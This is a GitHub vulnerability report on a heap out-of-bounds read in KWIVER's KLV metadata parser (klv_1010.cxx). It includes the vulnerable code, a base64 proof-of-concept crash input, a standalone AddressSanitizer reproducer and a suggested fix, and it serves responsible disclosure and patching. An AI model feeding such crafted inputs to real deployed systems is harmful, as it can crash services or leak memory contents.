Skip to content

Heap out-of-bounds read in ST1010 SDCC-FLP sparse bitset (arrows/klv) #1848

Description

@pventuzelo

ST1010 SDCC-FLP (sparse bitset) — heap out-of-bounds read

Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOB read)
Location: arrows/klv/klv_1010.cxx — klv_1010_sdcc_flp_format::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer

Description

The sparse correlation bitset is copied straight out of the buffer with no
length check:

auto const bitset_length = ( rho_count + 7 ) / 8;   // derived from matrix_size
if( result.sparse ) {
  bitset.resize( bitset_length );
  std::copy_n( data, bitset_length, bitset.begin() );  // unchecked read of bitset_length
  data += bitset_length;
}

Impact: bitset_length can exceed the bytes remaining → std::copy_n reads
past the buffer. (Distinct from the ST1010 matrix-size allocation issue, same
function.)

The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.

Proof of concept

Raw KLV packet (833 bytes), base64 — decode with base64 -d:

Bg4rNAILAQEOAQMBAQAAAIIDLgJJAgICAgICAgICAgICAgICAgICAgICAgIbAgICAgICAgICAgIC
AgICAgICAgICAk9OMDIEBkFGAgICAgICAgICAgICAgICAgICAgAAAAAAAAQAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgICAgICAmZmAgICAgICAioCAgICAgIC
AgICAgISAgICAgICAjE1BAZBCgICAgICQgICAgICAgICAgICAhsCAgICAgICAgICAgICAgICAgIC
T04wMgQGQUYCAgICAk4wMgQGQUYCAgICAgICAgICAgICAgICAgICAAAAAAAABAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAgICAgICZmYCAlsCAgICKgICAgIC
AgICAgICAhICAgICAgICAgICAgICAgICAgICAgICT04xNQQGQQoCAgICAgICAQICAgICAgICAgIC
AgICT04wMgQGQUYCAgICAgICAgICAgICAgICAgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgICAgJmZgICAgICAgIqAgICAgICAgIC
AgICEgICAgICAgICAgICAgICAgICAgICAgJPTjE1BAZBCgICAgICAgIBAgICAgICAgICAgICAgJP
TjAyBAZBRgICAgICAgJPTjB4cGMtZmF1bHQyBAZBRgICAgICAgICAgICAgICAgICAAAAAAACAgIC
AgAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgIC
AgICAmZmCgICAgIpAioCAgICAgICAgICAgISAgICAgICAgICAgICAgICAgICAgICAk9OMTUEBkEK
AgICAgICAgECAgICAgICAgICAgICAk9OMDIEOwZBRgICAgICAgICAgICAgICAgICAgIAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAABAQQCAwQ=

Reproduction

No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:

base64 -d poc.b64 > poc.klv          # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv

→ AddressSanitizer: container-overflow / heap-buffer-overflow READ in klv_1010_sdcc_flp_format::read_typed.

Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)
#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;

int main( int argc, char** argv )
{
  std::ifstream in( argv[1], std::ios::binary );
  std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
                              std::istreambuf_iterator< char >() );
  klv_read_iter_t it = buf.data();
  klv_read_iter_t const end = buf.data() + buf.size();
  while( it < end ) {                       // consume as a KLV stream
    klv_read_iter_t const before = it;
    try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
    catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
    if( it <= before ) break;
  }
  return 0;
}

Build against an AddressSanitizer build of kwiver_algo_klv:

clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
  -I<kwiver_src> -I<kwiver_build> \
  -L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
     -lvital_exceptions -lvital_util -lvital_config -lvital_types \
  -Wl,-rpath,<kwiver_build>/lib -o repro_klv

Suggested fix

if( result.sparse ) {
  tracker.verify( bitset_length );      // bound before copying
  bitset.resize( bitset_length );
  std::copy_n( data, bitset_length, bitset.begin() );
  data += bitset_length;
}

Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions